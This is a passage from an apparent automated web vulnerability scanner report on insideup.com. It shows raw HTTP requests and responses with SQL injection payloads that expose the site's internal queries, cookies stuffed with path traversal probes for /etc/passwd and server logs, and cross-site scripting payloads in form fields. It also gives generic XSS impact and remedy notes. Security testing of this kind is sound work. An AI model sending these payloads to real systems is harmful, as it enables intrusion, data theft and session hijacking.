chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/fist00/project.php?catId=10003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'' OR prj.project_page_url = 'leadflow/fist00/project.php?catId=10003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'numeric)||'' OR prj.project_page_url = 'leadflow/fist00/project.php?catId=10003&' at line 5

- /ppc/leadflow/weho00/project.php

/ppc/leadflow/weho00/project.php

http://www.insideup.com/ppc/leadflow/weho00/project.php?catId=20003&iusrc='%7C%7Ccast((select%20chr(..

Parameters

Parameter	Type	Value
catId	GET	20003
iusrc	GET	'\|\|cast((select chr(95)\|\|chr(33)\|\|chr(64)\|\|chr(53)\|\|chr(100)\|\|chr(105)\|\|chr(108)\|\|chr(101)\|\|chr(109)\|\|chr(109)\|\|chr(97)) as numeric)\|\|'

Request

GET /ppc/leadflow/weho00/project.php?catId=20003&iusrc='%7C%7Ccast((select%20chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(53)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97))%20as%20numeric)%7C%7C' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[../../../../../../../../../../proc/self/fd/2\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:33:44 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=skd6av0kd4gohuimjahqaje553; path=/
Content-Length: 4013
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/weho00/project.php?catId=20003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'' OR prj.project_page_url = 'leadflow/weho00/project.php?catId=20003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/weho00/project.php?catId=20003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'' OR prj.project_page_url = 'leadflow/weho00/project.php?catId=20003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/weho00/project.php?catId=20003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'' OR prj.project_page_url = 'leadflow/weho00/project.php?catId=20003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/weho00/project.php?catId=20003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'' OR prj.project_page_url = 'leadflow/weho00/project.php?catId=20003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/weho00/project.php?catId=20003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'' OR prj.project_page_url = 'leadflow/weho00/project.php?catId=20003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'numeric)||'' OR prj.project_page_url = 'leadflow/weho00/project.php?catId=20003&' at line 5

Cross-site Scripting

150 TOTAL

IMPORTANT

CONFIRMED

150

XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /whitePapaper.html

/whitePapaper.html CONFIRMED

http://www.insideup.com/whitePapaper.html

Parameters

Parameter	Type	Value
company	POST	'"--></style></script><script>alert(0x000367)</script>
companyServices	POST	3
email	POST	netsparker@example.com
firstName	POST	Smith
iusrc	POST	3
lastName	POST	Smith
parentPage	POST	3
phone	POST	3
src	POST	aboutUs
Submit	POST	3
url	POST	3

Request

POST /whitePapaper.html HTTP/1.1
Referer: http://www.insideup.com/aboutUs.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Content-Length: 229
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

company='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000367)%3c%2fscript%3e&companyServices=3&email=netsparker%40example.com&firstName=Smith&iusrc=3&lastName=Smith&parentPage=3&phone=3&src=aboutUs&Submit=3&url=3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:20:03 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=B2AC4951C334EC42E37C39F904846994; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content=""/> <meta name="description" content=""/> <meta name="robots" content="index; follow"/> <title></title> <link href="/css/reset.css" rel="stylesheet" type="text/css"><link href="/css/grid.css" rel="stylesheet" type="text/css"><link href="/css/newstyle.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/jquery-1.2.1.js"></script><script type="text/javascript" src="/js/ajax.js"></script><script type="text/javascript" src="/js/ajax-dynamic-list.js"></script><script type="text/javascript" src="/js/default.js"></script><script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {}</script></head><body><div class="container"> <div class="wrapper"> <div class="header"> <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value=""> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('White Paper Form',0,'')" alt="" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerAdvertiseActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div> <div 